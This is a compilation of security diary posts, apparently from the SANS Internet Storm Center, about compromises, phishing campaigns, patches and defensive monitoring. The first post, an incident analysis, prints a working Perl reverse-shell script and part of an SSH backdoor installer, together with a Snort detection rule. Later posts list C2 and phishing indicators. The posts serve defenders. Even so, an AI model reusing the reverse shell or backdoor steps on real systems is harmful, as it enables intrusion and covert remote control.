Minerd is used for Litecoin mining, think cheaper version of bitcoin and primed for CPU harvesting of coins. As virtual currency values continues to increases, I’m expecting to see a lot more of these types of attacks on servers. Mining will be better financially than using the system for spamming or a basic bot.

The specific mining protocol for this software is (Stratum Mining Protocol) A Sample of the traffic to the mining pool (178.33.111.19).

--------------

{"params": ["ee9", "f2d2b32c8c45a965c0459d7ce169b9cbb71d741d2a77574577f6658dfa677

e0a", "01000000010000000000000000000000000000000000000000000000000000000000000000

ffffffff2103830207062f503253482f0410bf835208", "072f506f6f6c582f0000000001e08e472

a010000001976a9146effd3bfcee317f978ea0927efd99f5d7992dacd88ac00000000", ["28eab10

f99561dbabf1555ea7f36358e4752a7dc1a69ad980e50156e89e00320", "963c9c57be6a0b60f421

861cbfc8ca6aa75e5ca0ad43b9276a46a871223d381a", "ad83aa11bab14d23472518b9c0d5bc59a

b869b45f022a8e176a50c58af70abb4"], "00000002", "1b340532", "5283bf10", false], "i

d": null, "method": "mining.notify"}

--------------

I was able to find a writeup on the protocol @mining.bitcoin.cz/stratum-mining.

I did not find a snort rule for this kind of traffic. The rule below is looking at any port, as I was not able to verify the incoming port should be 9000. It seems to depend on the mining pool the attacker is using.  

alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Possible Bitcoin/LiteCoin Mining"; flow:established; content:"|7B 22 70 61 72 61 6D 73 22 3A 20 5B 22|"; Depth:15; classtype:bad-unknown; reference:url,mining.bitcoin.cz/stratum-mining; sid:1000500; rev:1;)

SSHD Trojaned

The attacker had time stomped all the files in the /usr/sbin directory to hide file modifications. We found some interesting strings in the SSH daemon to quickly discover the backdoor (See Below). Trojaned files have been around for a long time, but I do not often run into them on compromised Linux servers.  In this case, the attacker was not very stealthy about modifications to the file.

--------------

Partial Strings from the back door

[1m |Enjoy this private backdoor!  |  

[2;31m

[1m  <----|====O)))==)\) /====     

[36m

[1m |We won't do any harm to you;) |   

220f5212624556ad12718ecb1c5cdda2

--------------

The initial script for making the backdoor was not recovered on the servers. After doing some quick Googling, I came across this install script for a ssh backdoor (pastebin.com/CDe7epGA). Other parts of the toolkit seemed to matchup. This my not be the identical script, but it was close to what was used.

--------------

BPASS=`./tools/random.sh 12`

echo -e "${BLUE}# Backdoor Password set to : ${WHITE}${BPASS}${NORMAL}"

cat backdoor.h|sed -e s/SSHD_PASS/"$BPASS"/ -e s#LOG_PATH#"$LPATH"# > 1.temp

mv 1.temp backdoor.h

./configure --sysconfdir=/etc/ssh 2> error_log.1

./logcleaner -u root

echo -e "${CYAN}# ENJOY THIS PRIVATE BACKDOOR ${NORMAL}"

--------------

IRC BOT

The second backdoor that was used is a typical IRCbot. Nothing special here, the install directory was /var/lib/.phpdata/sshd. The attacker named the script sshd to try and provide more stealth for the system. The IRC Channel name was #MuieBa.

Perl Backdoor

This is a typical perl reverse shell, give the script the IP and port you want to “Shovel a shell” to. It was located in the /tmp folder and was never used by the attacker. The scripts stops the bash_history file from being saved and echos output when it connects to the destination.  Its MD5 is 48d4d5a3dee9ef43e5b1387356d2f7ff and filename back.txt.

--------------

cat back.txt

#!/usr/bin/perl

use IO::Socket;

$system    = '/bin/bash';

$ARGC=@ARGV;

print "--== ==-- \n\n";

if ($ARGC!=2) {

  print "Usage: $0 [Host] [Port] \n\n";

  die "Ex: $0 127.0.0.1 2121 \n";

}

use Socket;

use FileHandle;

socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";

connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";

print "[*] Spawning Shell \n";

SOCKET->autoflush();

open(STDIN, ">&SOCKET");

open(STDOUT,">&SOCKET");

open(STDERR,">&SOCKET");

print "--== Thuraya Team ==--  \n\n";

system("unset HISTFILE; unset SAVEFILE; unset HISTSAVE; history -n; unset WATCH; export HISTFILE=/dev/null ;echo --==Systeminfo==-- ; uname -a;echo;echo --==Uptime==--; w;echo;

echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- ");

system($system);

Are you seeing compromised servers being used for Mining currency?Let us know!

Tom Webb

Malicious e-mails usually fall into two groups: Mass-mailed generic e-mails, and highly customized spear phishing attempts. In between these two groups fall e-mails that obviously do more to "mass customize" the e-mail based on information retrieved from other sources. E-mails that appear to come from your Facebook friends, or malware that harvests other social networks like Linkedin to craft a more personalized message.

Today, I received one e-mail that I think was done pretty well and falls into the third category. The sender went through the trouble to craft a decent personalized message, trying to make me install some Spyware.

In this example, the e-mail advised me of a new "WhatsApp" message that may be waiting for me. The e-mail looks legit, and even the link is formed to make it look like a voicemail link with the little "/play" ending

(click on image to see larger version)

the part that I thought was the most interesting was the executable you are offered as you download the emails. The downloaded file is a ZIP file, and the file name of the included executable is adjusted to show a phone number that matches the location of the IP address from which the e-mail is downloaded from.

Downloading the message from my home in Jacksonville, I get: VoiceMail_Jacksonville_(904)458abcd.exe . On the other hand, downloading it from a server whose IP's geolocation commonly shows up in Wayne PA , the file name changes to VoiceMail_Wayne_(610)458abcd.exe. I obfuscated the last four digits of the phone number, but the last four digits appear random.

As usualy, anti-malware coverage is bad according to Virustotal [1]. Anubis doesn't show much interesting stuff here, but I wouldn't be surprised if the malware detected that it ran in an analysis environment [2]. Interestingly, it appears to pop up Notepad with a generic error message.

[1] https://www.virustotal.com/en/file/39457d452107fc019d0ece92d7a5c0c8d00ac5bf8dc3bd2411b0ad90cbcae194/analysis/1387029444/
[2] http://anubis.iseclab.org/?action=result&task_id=15eb462c46d9b95f4ed4d2750b1a52b0a

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

Memory has plenty of useful information for incident handlers such as open files, network connections and encryption keys. With pulling the plug forensics methodology you are losing all this information and you’re putting your skills into question if the case go to the court.

While analyzing memory require a set of skills, acquiring memory isn’t that difficult with the new tools available. On a previous diary[i] Mark Baggett wrote about using winpmem to acquire memory.

This diary will be about using similar tools which is Dumpit. Dumpit is a free tool written by Matthieu Suiche from MoonSols . Dumpit support both 64-bit and 32-bit Windows operating systems .

Dumpit can be downloaded from MoonSols website[ii] . After downloading and extracting the zip file it wil be a single executable file ‘dumpit.exe’.

One of the major benefits of Dumpit that it is very easy to use and any user with an admin privileges can use it. I would suggest that you provide your helpdesk team with some USB sticks with a copy of Dumpit, there are some issues that have to be considered: first the size of USB stick should be higher than the RAM size and if you have memory larger than 2 GB the USB sticks should be NTFS formatted.

When you have a suspicious event in a remote office or on a time that no body from the incident response team is available, a ready USB stick with Dumpit might be the ‘smoking gun’ for this incident.

The memory accusation can be performed with these three simple steps:

1.     Insert the USB stick.

2.     Double click on Dumpit icon (Figure 1)

3.     Type “y” (figure 2)

Figure 1 (Dumpit executable)

Figure 2 (Dumpit)

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

Encrypted traffic has long been a challenge for network monitoring. But even if traffic is encrypted, there is still plenty of information that can be extracted. In this little example, we are looking at "SSL Hello" messages. These messages are sent by the client to initiate the SSL connection. They include a number of parameters that may vary depending on the SSL library used or the SSL clients preference.

The SSL Hello message contains a couple of major parts [1]

• a timestamp. This is the local time of the client, even if the RFC doesn't require it to be accurate.
• 28 random bytes
• a list of cipher suites the client supports
• the SSL version the client is using (e.g. TLS 1.0)
• any extensions the client may support (including compression)

This gives us quite a bit of data to fingerprint clients. The timestamp can be used to check if the clients time is in sync. The supported cipher suites and extensions may tell us what browser version the host is running and could for example be used to block out of date browsers at a gateway that is not able to decrypt traffic.

Ivan Ristic has published similar data in the past focusing on SSL ciphers [2], and p0f considered including some of that data.

My tool of choice to extract this information from packet captures is tshark. To run this test, I collected a couple minutes of traffic. I also extracted the IP addresses and user agents from the web server log to be able to link the "SSL Fingerprint" to the user agent. I ignored all IP addresses for which I saw multiple user agents (looks like mostly mobile devices that accessed the podcast via a podcast client as well as the web site via a browser).

In tshark, to extract the "fingerprint" I used:

tshark -r test.pcap -T fields -e ip.src -e ssl.handshake.ciphersuite -e ssl.handshake.version -e ssl.handshake.extension.type -R "ssl.handshake.type=-1"

Here is a partial result:

Firefox 25 on Windows 7 ( Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 )

Cipher Suites: 0x00ff,0xc00a,0xc014,0x0088,0x0087,0x0039,0x0038,0xc00f,0xc005,0x0084,0x0035,0xc007,0xc009,0xc011,0xc013,0x0045,0x0044,0x0033,0x0032,0xc00c,0xc00e,0xc002,0xc004,0x0096,0x0041,0x0005,0x0004,0x002f,0xc008,0xc012,0x0016,0x0013,0xc00d,0xc003,0xfeff,0x000a
SSL Version: 0x0301 (TLS 1.0) 
Extensions: 0x0301 0x0000,0x000a,0x000b,0x0023,0x3374

Chrome 31 on Windows 7 (Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36)

Cipher Suites:
0xc02b,0xc02f,0x009e,0x009c,0xc00a,0xc014,0x0039,0x0035,0xc007,0xc009,0xc011,0xc013,0x0033,0x0032,0x0005,0x0004,0x002f,0x000a
SSL Version: 0x0303 (TLS 1.2)
Extensions: 0x0000,0xff01,0x000a,0x000b,0x0023,0x3374,0x0010,0x754f,0x0005,0x000d

Internet Explorer 7 on Windows 7 (Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.2; .NET4.0E; Microsoft Outlook 14.0.7109; ms-office; MSOffice 14)

Cipher Suites:
0x003c,0x002f,0x003d,0x0035,0x0005,0x000a,0xc027,0xc013,0xc014,0xc02b,0xc023,0xc02c,0xc024,0xc009,0xc00a,0x0040,0x0032,0x006a,0x0038,0x0013,0x0004
SSL Version: 0x0303 (TLS 1.2)
Extensions: 0xff01,0x0000,0x0005,0x000a,0x000b,0x000d

These three examples, all from Windows 7, show how different browser result in very different fingerprints. The order of  ciphers and extensions appears to vary as well allowing for more detailed distinctions, and something that needs a bit more data to work with.

Timestamps

Timestamp fingerprinting was kind of interesting as well. Turns out that out of the times are actually very accurate.  Out of a total of 3814 Client Hello messages, 3109 where within 5 seconds. A couple of time stamps where "far outliers" with timestamps in 1970, likely indicating a "time since reboot" instead of the absolute time.

Figure 1: Time difference frequency up to 10 seconds

[1] http://www.ietf.org/rfc/rfc2246.txt
[2] http://blog.ivanristic.com/2009/07/examples-of-the-information-collected-from-ssl-handshakes.html

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

We got a couple reports of pretty convincing Facebook spam redirecting users to malware and a Facebook phishing site.

The initial bait is a message that you may receive from one of your Facebook friends, whose account was compromised. The message claims to contain a link to images that show a crime that was committed against the friend or a close relative of the friend. The image below shows an example, but the exact message varies. The images then claim to be housed on Tumblr.

The Tumblr links follow a pattern, but appear to be different for each recipient. The host name is always two or three random English words, and the URL includes a few random characters as an argument. The preview of the Tumblr page lists some random words and various simple icons.

Once the user clicks on the link to the Tumblr page, they are immediately redirected to a very plausible Facebook phishing page, asking the user to log in. The links I have seen so far use the "noxxos.pw" domain, which uses a wildcard record to resolve to 198.50.202.224 . For example, the URL would look like:

hxxp:// facebook.com .accounts.login.userid.243534.noxxos.pw/awks/  

Due to the size of the URL, and the fact that the host name starts with "facebook.com", it is hard for the victim to realize that this is not a valid Facebook page. 

The fake Facebook page will ask the user for a username and password as well as for a "secret question".

Finally, the site attempts to run a java applet (likely an exploit, but haven't analyzed it yet), and the user is sent to a Youtube look-alike page asking the user to download and install an updated "Youtube Player". The player appears to be a generic downloader with mediocre AV detection. 

https://www.virustotal.com/en/file/d23456ffeaad7183176e71870957a222d20025a35e8e1070bd81bc7491ab625b/analysis/1386730327/

(was 3/42 when I first saw it. Now 10/42 improved)

As an indicator of compromise, it is probably best right not to look for DNS queries for "noxxos.pw" as well as connections to 198.50.202.224 (which is likely going to change. The server only returns 404 errors right now)

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

Adobe also has published updates today for Flash Player, resolving CVE-2013-5331 and CVE-2013-5332.

This is a remote execution vulnerability, by way of a malicious SWF (Flash) content in an MS Word document.

The versions will vary from platform to platform, but if you are running Flash Player you should update soon (today if possible).

===============
Rob VandenBrink
Metafore

Overview of the December 2013 Microsoft patches and their status.

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

Have you ever during a penetration test collected a list of values that look very much like hashes, and thought "I could maybe start cracking those, if I only knew what algorithm was used to calculate those hash values".

I had exactly this happen recently.  In the past I've found any one of the dozens of lists of hash outputs on the net to be handy - Hashcat for instance has a pretty complete list posted ( http://hashcat.net/wiki/doku.php?id=example_hashes ).  But this time I donned my googles and found the handy Hash Identifier python script at https://code.google.com/p/hash-identifier/ .  This tool really saves a lot of work - these days my eyes are too old and my fingers are too big to be counting tiny characters in a hash string with any accuracy.

Hash_ID.py does a nice job of the more commmon hashes.  Of course, if someone has the bad judgement to hash the output of one algorithm with another one (this is a really BAD idea if you are trying to prevent collisions), an identification utility like this will only id the last hash algorithm used.

Did it work for me?  Yes, yes it did!  It nicely identified the hash algorithms used.  With the hashes and the algorithm, I was able to dump the list into OCLHashcat on a VM I've got for this (described here https://isc.sans.edu/forums/diary/Building+Your+Own+GPU+Enabled+Private+Cloud/16505).  And the values did indeed give me a list of passwords, which I was then able to use against several different systems.

The finding of course in this situation was NOT "Nyah Nyah, I got in!", that's NEVER the finding.  What goes in the report is (in a tactful way) "Application XYZ is using a simple unsalted hash algorithm to protect passwords", along with an english-language explanation of why exactly this is a bad idea, worded so that the manager of the coder who owns the XYZ application will understand it.

The end goal of a pentest isn't really to get in.  The goal of a pentest is to explain to your client why fixing security related issues will benefit their business, and to get that explanation in front of the folks who decide which projects get priority.  Breaking in is usually just the most fun way to make your point effectively.

Back to the tool at hand - if you've used a different hash identification utility, let us know using the comment form at the bottom of this page!

===============
Rob VandenBrink
Metafore

I had a chat with another one of the ISC Incident Handlers the other day about inventorying large networks, which is covered in the first two Controls in the SANS "Critical Security Controls" (http://www.sans.org/critical-security-controls).  Paraphrased, these controls boil down to "know what's on your network" and "know what software and services are running on those stations".

This seems like a couple of pretty obvious statements, but it started me thinking about my client base.  For instance, about just how many are still running old print servers that top out at 10Mbps and advertise IPX printer SAPs.  Similarly, I started implementing a standard to isolate ATMs in a banking environment (without changing any IPs), and found a number of switches sol old that they didn't support port based ACLs, or Private VLANs or source port filtering. 

In short, it's really easy to let sleeping dogs lie (or prevaricate) - it's easy to let that 10 year old (plus) hardware that's been working forever stay on the network until you need a feature that doesn't exist on them.  And if it's easy to let this happen with IT owned gear that you know about, how about stuff that's NOT owned by IT?  Stuff like cameras, projectors and video conferencing units?  Or how about even more removed from IT - gear like elevator controls and HVAC systems?  Time clocks or PLCs?   Or, just to up the ante, medical devices that are network attached in a hospital or other health-care setting?

And that's just the hardware.  If you are inventorying your corporate stations' software, you're most likely using the OS's "list applications" commands or API calls to do this, whether in your own scripts or wrapped into a commercial product.  

For windows, you might use commands like:

wmic product list /format:csv > applist_for_database_import.csv
or
wmic product list brief /format:htable > %COMPUTERNAME%_applist.html

In Linux, depending on the distro you might use one of these:

rpm -qa
yum list installed
dpkg --get-selections

However,  these commands and other active scanning methods won't help you in a lot of cases - situations like:

• Stations not owned by IT, so you likely don't have credentials
• Embedded devices, which might not have a CLI
• Other embedded devices, which might not be owned by IT (back to no credentials again)
• Stations that you don't know exist
• Stations on networks you don't know about
• Access points that your users might have hidden under their desks
• Applications like Java, where you might be up to date in C:\Program Files (x86)\Java, but you might have an oldy-moldy Java install that came bundled with an app 4 or 5 years ago, buried 6 levels deep in some other application directory
• Or utility type applications, stuff like Putty (when was the last time you updated your copy of putty?), or applets like the GNUtils that got downloaded once 6 or 7 years ago, then copied from laptop to laptop so that all your scripts work? 
• Any application that didn't install using the OS native install (msi in windows, rpm, apt-get or yum in Linux)

So, what should you do to find these incognito stations and camoflaged applications?  For many of my clients, we look for evidence of these situations in the network traffic that they create, just the same way we often find Indicators of Compromise in malware or attack situations. 

Several tools will help you in finding, fingerprinting and identifying versions of apps like this.  The "granddaddy" of these "passive scanner" applications is p0f.  Downloadable from http://lcamtuf.coredump.cx/p0f3/, it's been around for over 10 years, is still actively developed and is still free.  If you have a budget and are looking for a commercial alternative,  PVS from Tenable might also fit the bill - either instead of or in conjunction with p0f.  Info on PVS can be found here: http://www.tenable.com/products/passive-vulnerability-scanner, it's available for free for up to 16 nodes, or you can get an "eval-ware" version for larger networks.

So, with good tools in hand and pure intentions in your heart, how to proceed?  You'll need to find a spot on your network to capture traffic of interest - the obvious place is to put your sensor station would be on a SPAN port, sniffing the traffic on the inside interface of our firewall.  However, this won't find traffic to identify internal-only stations like internal-use database servers, print servers and the like.  For these, you'll want a SPAN port capturing an entire internal VLAN, or perhaps capturing traffic from internal router ports.  It's best to take some time and apply some business process knowledge to place your station well, or in many cases several stations.

There are lots of other pointers on using "fingerprint" applications - the SANS Reading Room at http://www.sans.org/reading-room is a great place to start, or the SANS Security Resources pages here http://www.sans.org/security-resources/idfaq/p0f.php.

In my most recent deployment of p0f, we found unpatched Win95 stations running a pharmaceutical assembly line.  Stations that were put in by the industrical controls vendor back in the mid-90's, buried inside the cabinets with the PLCs and so on, then just plugged into the network so the plant engineers could get to them.  Nobody left in the organizations had any idea these stations were there, the plant engineers who used them knew the interfaces, but not what was behind them.  And of course these stations were just about as business critical as you could find - SCADA systems in all but name.

What tools have you used for passive discovery?  Use our comment form and let us know where you've placed passive sensors in your network and most importantly, what's the most interesting things that you've found?

===============
Rob VandenBrink
Metafore

Microsoft released its pre-announcement for the upcoming patch Tuesday. The summary indicates 11 bulletins total, 5 are critical all with remote code execution and 6 Important with a mix of remote code execution, security feature bypass and elevation of privileges. The announcement is available here.

[1] http://technet.microsoft.com/en-us/security/bulletin/ms13-dec

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

We have received information about a suspected Rovnix botnet controller currently using at least 2 domains (mashevserv[.]com and ericpotic[.]com) pointing to the same IP address of 37.9.53.126 (AS 44050).

This is the information that we currently have available that should help identify if any hosts in your network is currently contacting this botnet:

• mashevserv[.]com/config.php?version=[value here]&user=[value here]&server=[value here]&id=[value here]&crc=[value here]&aid=[value here] is where the compromised clients send an HTTP GET request to when requesting a configuration file.  If the correct values are inputted the server will return an encrypted configuration file.
• mashevserv[.]com/admin appears to be the admin console

• ericpotic[.]com/task.php has similar values appended to it an when the GET request is done it appears to be some sort of check-in to tell the server it is alive.
• Posts to ericpotic[.]com/data.php are use to exfiltrating data. All communications with C&C are unencrypted over TCP 80.

It also appears this malware has very little detection. This is all we currently have. If you can recover samples either on the host or via packets and are willing to share them with us, you can upload them to our contact page.

[1] https://www.robtex.com/dns/mashevserv.com.html#graph
[2] https://www.robtex.com/dns/ericpotic.com.html#graph
[3] https://www.robtex.com/ip/37.9.53.126.html#whois
[4] http://www.xylibox.com/2013/10/reversible-rovnix-passwords.html

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

VMware released an ESX 4.1 update to third party libraries. The complete advisory can be viewed here.

VMware updated advisory VMSA-2013-0007 for ESX 4.0 and 4.1 related to third party update for Service Console package sudo. Additional information on this update is can be viewed here.

ESXi isn't affected by these updates.

[1] VMSA-2013-0015 http://www.vmware.com/security/advisories/VMSA-2013-0015.html
[2] VMSA-2013-0007.1 http://www.vmware.com/security/advisories/VMSA-2013-0007.html

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

Spiderlabs published an interesting article on this the other day. http://blog.spiderlabs.com/2013/12/look-what-i-found-moar-pony.html

The list has now appeared on pastebin and is being sold for 0.05 bitcoins.  (last time I checked they made about $600 so far).  

If you haven't already you may want to start looking at the strong authentication options for some of these services. 

Mark H

• 0 Introduction - exactly what it says
• 1 Scope - states what the standard is about
• 2 Normative references - no longer included in the standard but a separate purchase :-(
• 3 Terms and definitions - ditto
• 4 Context of the organisation - The old section 4 risk assessment component, now more aligned with ISO 31000  
• 5 Leadership - This refers to the old standard's management responsibility requirement
• 6 Planning - More risk management and preventative and corrective processes
• 7 Support - Management support
• 8 Operation - the implement and operate section of the old standard
• 9 Performance evaluation - Monitoring, audit and management review
• 10 Improvement - Continuous Improvement

• 5 Information security policies
• 6 Organisation of information security 
• 7 Human resource security
• 8 Asset management
• 9 Access control
• 10 Cryptography
• 11 Physical and environmental security 
• 12 Operations security
• 13 Communications security
• 14 System acquisition, development and maintenance
• 15 Supplier relationships
• 16 Information security incident management 
• 17 Information security aspects of business continuity management 
• 18 Compliance

VMware have released security advisory VMSA-2013-0014 "VMware Workstation, Fusion, ESXi and ESX patches address a guest privilege escalation" . It has been assigned CVE-2013-3519.

Let's be careful out there!

Cheers,
Adrien de Beaupré
Intru-shun.ca Inc.
My SANS Teaching Schedule

I recently had a migration from one internet uplink to another to do for a client.  As with many organizations, they have about 40% of their workforce at head office, and 60% (and sometimes more) of their workforce operating remotely, so taking the Firewall and especially the VPN services offline is a very big deal.  There is no good time to take things down given that their sales force has people in just about every time zone, there are just times that are "less bad" than others.

Anyway, we settled on a weeknight, starting at around 6pm EST after their shipping was completed.  As in most projects of this type, we finally got most of the "important" users off the network by about 7:30 and where ready to start.

On logging into their firewall, I (as I always do), did a quick check of the real time logs, just because you never know what you'll see.  Imagine my surprise when I saw that it was still pretty busy, and the traffic being logged was mostly this:

So what is that?  Their internal workstation network is 192.168.122.0/24, a nice respectable RFC1918 address range.  However, we're seeing lots of outbound requests for 192.168.1.0/24, which I would expect to see more on home networks.  Now I could see a simple, persistent series of requests to a single 192.168.1.x address, perhaps a home printer that is a user's default, or a home DLNA server, but this looks a whole lot like reconnaissance doesn't it?  It's a sweep of the entire 192.168.1.0 network, using ICMP.  Looking deeper at the packet, as you'd expect these are echo requests (Type 0, code 0), otherwise known as plain old "ping".

So, what's so interesting about this you ask?  
My answer would be - recon of a network that's the default subnet for many home network routers is always suspect in an enterprise.  In fact, recon of any type in an enterprise network should be considered suspect.  People connect to what they need for to do their jobs, network sweeps are almost always an indicator of compromise, it's almost always malware looking for something else to infect, or an attacker looking for their next foothold.  Happily, if the network being scanned isn't in the internal routing table, if it's not black-holed internally it usually shows up in the firewall logs.

In this case, it was malware looking for PNP devices (printers, cameras, TVs, but especially home firewalls), which Johannes wrote up in January ( https://isc.sans.edu/diary/Exposed+UPNP+Devices/15040 ).  Even though it's what you might consider "old", it sees sustained use ( https://isc.sans.edu/port.html?port=1900 ) in malware and sees continued success, mostly becuase almost nobody patches or fixes their home routers.
It could also just as easily have been malware looking for default home router credentials or one of the home router backdoor vulnerabilities (which Manuel wrote up here  https://isc.sans.edu/diary/Old+D-Link+routers+with+coded+backdoor/16802 )

It was just lucky that I caught this activity on film, the network  was so quiet that the malware activity just popped up without looking for it.  It's funny that when you have a quiet network, sometimes all that's left is the malware and attack traffic.

Of course, when we did a reverse lookup on the workstation IP, it was their HR manager.  You know, the HR manager who insisted that we remove the internet filters from their account so they could be active on social media?  No risk at all having malware on that station !!

But hopefully, this should illustrate why it's so important that part of your day-to-day tasks to secure your organization should be to look at your logs.  And not just glancing at the logs scrolling by on your firewall - review the text logs that you store in disk, that's where you'll find those "gold" log entries.  Make friends with the grep or findstr commands and do some mining for malware, it'll be the most productive time you spend most days!  Heck, just looking at a directory of your logs by day is often enough - if yesterdays logs was 10 times the size you normally see, often that's an IOC (Indicator of Compromise) all on it's own.  Relying simply on tools to alert you of problems and not looking at your logs is passing up the easiest and earliest detection of problems you'll ever get.  As we say over and over - "there's gold in them thar logs!"

Even reviewing the logs of your home network can give you valuable information ( https://isc.sans.edu/diary/Collecting+Logs+from+Security+Devices+at+Home/14614 ).  You'll find the same indicators of compromise or attack in home logs as at work, and if nothing else, it's good practice for reviewing logs for enterprise gear - home gear and enterprise gear all log the same things, if they're configured correctly that is...

By the way, did you catch the other problem that our captures showed?  Yes, the NTP server that the firewall was synced to had been retired, so the date and time on the firewall was completely out of whack.  If you've ever tried to correlate logs from multiple systems, perhaps to get a complete picture of how a compromise happened or what it did after it got it's toe-hold, you'll appreciate just how big a deal syncing your clocks is. 

If you've found malware with plain old text logs as a primary source or using a log analysis tool, please let us know using our comment form!

===============
Rob VandenBrink
Metafore

We have a report of a much greater than the normal noise of SSH based attacks. Anyone else seeing this?

Richard Porter

@packetalien || rporter at isc dot sans dot edu

*A call for more blue defenders*

In a couple weeks I will be a TA for Mr. Mike Poor in DC at CDI (Shameless plug, if you are a reader and see me in DC say so!!!) for SANS 503. We often get asked, why does BPF matter || why should I bother with hex || why do I need to learn this???? My application does all the work for me!

I would like to share a ‘vet’ U.S. Navy story and shout out a thanks to, at the time QM2(SW), a talented navigator. He was telling me the “Stars never lie” and in that they always show the way. If you learn to read them, take my GPS, take my N take my Y technology, I have the star. If we know where the north star is? We can always find north! After watching him dismiss a senior inspector with core math and navigation skills and the stars? I was a believer!

At the core our minds are powerful processors. According the quad process model we take in vast amounts of information and process it at incredible speeds (Conrey, Sherman, Gawronski, Hugenberg, & Groom, 2005). This is likely why there are times when a 'solution' to a problem just somehow pops into your mind. Or why after years of driving it seems automatic.

If we understand the “Core” network communication we can break down protocols!

A couple of opinions/facts/ideas/comments/<insert favorite polarized media narrative here>;

1. Most if not all IDS/IPS/HIDS/NIDS speak BPF [1]
2. And another thing? RAW packets ‘usually’ cannot lie (it’s the RAW factor that counts)
3. Most if not all sniffers/HIDS/NIDS/IPS/IDS/Firewalls speak PCAP
4. Understanding the root language can help you understand new code built into that language

Coming to my point? For $DayJob I have been asked to prepare an Incident Management workshop, which has become a more common request. In this I hope to shed light on the important of core skills like TCPDumpFU || HexFU || BinaryFU || ProtocolFU. Most importantly I want to emphasis that a core understanding can help in the critical thinking process when facing new or unknown problems or challenges. Our faithful readers know the near axiomatic statement from any handler “got packets?”

Lately I have been asked to consult on more incidents than normal (for me) and in that I have noticed that although the operators are quite intelligent with fundamental problem solving skills, yet they are not effectively equipped. We need better blue defenders!!!!

It’s easier to attack than defend (Tzu, 1889). My most favorite moment is making most glorified attacker for “said G groups” unplug laptops and say “how did you do that?”…  (read active defense is not to attack but to fatigue your enemy, frustrate them, make them tired of attacking, deny them the ability to attack!)

Back to the point, we have been under attack for so long and breach after breach after breach aft……………. It has become the ‘new norm’ and I wanted to address the Pachyderm in the room! We are short of blue defenders! It’s easy, perhaps sexy to download “Kali” linux? But… How many have heard of HoneyDrive [2]? Or perhaps SecurityOnion [3]?

[4] “If I make an attacker spend an extra 9 hours attacking my website? I’ve won!” John Strand, SANSFire 2013.

Hard data, according to the Verizon DBIR [5] HIDS, NIDS, Log Review and Incident Response are responsible for between 1-4% of discovery methods (Figure, 44, p.54). I wonder how much of our IT $budget$ is spent on the tools that give us the 1-4%? We have to get that number higher! The facts point to unrelated parties as a primary means of detection. Getting a phone call is not a good way to receive an Indicator of Compromise (IOC).

Back to the origin of the post to come full circle? Why BPF, why  PCAP, why hex? To first defend against a thing you must understand a thing (Tzu, 1899). If we form a base understanding of opponents tactics along with the battlefield we can better defend!

Resources:

Conrey, F. R., Sherman, J. W., Gawronski, B., Hugenberg, K., & Groom, C. J. (2005). Separating multiple processes in implicit social cognition: the quad model of implicit task performance. J Pers Soc Psychol, 89(4), 469-487. doi:10.1037/0022-3514.89.4.469

Tzu, S. (1899). Sun Tzu's Art of  [online] Retrieved from: http://suntzusaid.com/book/3 [Accessed: 1 Dec 2013].

[1] http://www.tcpdump.org/papers/bpf-usenix93.pdf

[2] http://sourceforge.net/projects/honeydrive/

[3] https://code.google.com/p/security-onion/

[4] http://sourceforge.net/projects/adhd/

[5] http://www.verizonenterprise.com/DBIR/2013/

Incident Management Resources:

http://csrc.nist.gov/publications/nistpubs/800-61rev2/SP800-61rev2.pdf

http://csrc.nist.gov/publications/nistpubs/800-86/SP800-86.pdf

http://csrc.nist.gov/publications/nistpubs/800-83/SP800-83.pdf

http://www.ncix.gov/publications/reports/fecie_all/Foreign_Economic_Collection_2011.pdf

http://energy.gov/sites/prod/files/oeprod/DocumentsandMedia/26-CIP_CyberAssessmentGuide.pdf

http://www.ietf.org/rfc/rfc2350.txt

http://www.cert.org/csirts/resources.html

http://www.iso27001security.com/html/27035.html

http://www.itu.int/en/ITU-D/Cybersecurity/Documents/ALERT.pdf

http://www.itu.int/ITU-D/membership/portal/index.asp?Name=45047

http://www.itu.int/ITU-D/asp/CMS/Events/2011/CyberCrime/S6_Mohamad_Sazly_Musa.pdf

http://csrc.nist.gov/groups/SMA/fasp/documents/incident_response/CIRT-Desk-Reference.pdf

The Practice of Network Security Monitoring: Understanding Incident Detection and Response

by Richard Bejtlich http://amzn.com/1593275099

http://www.sans.org/reading-room/whitepapers/incident/incident-handling-process-small-medium-businesses-1791?show=incident-handling-process-small-medium-businesses-1791&cat=incident

http://www.sans.org/reading-room/whitepapers/incident/computer-incident-response-team-641?show=computer-incident-response-team-641&cat=inciden

http://www.cert.org/csirts/csirt_faq.html

~Richard

@packetalien || rporter at isc dot sans dot edu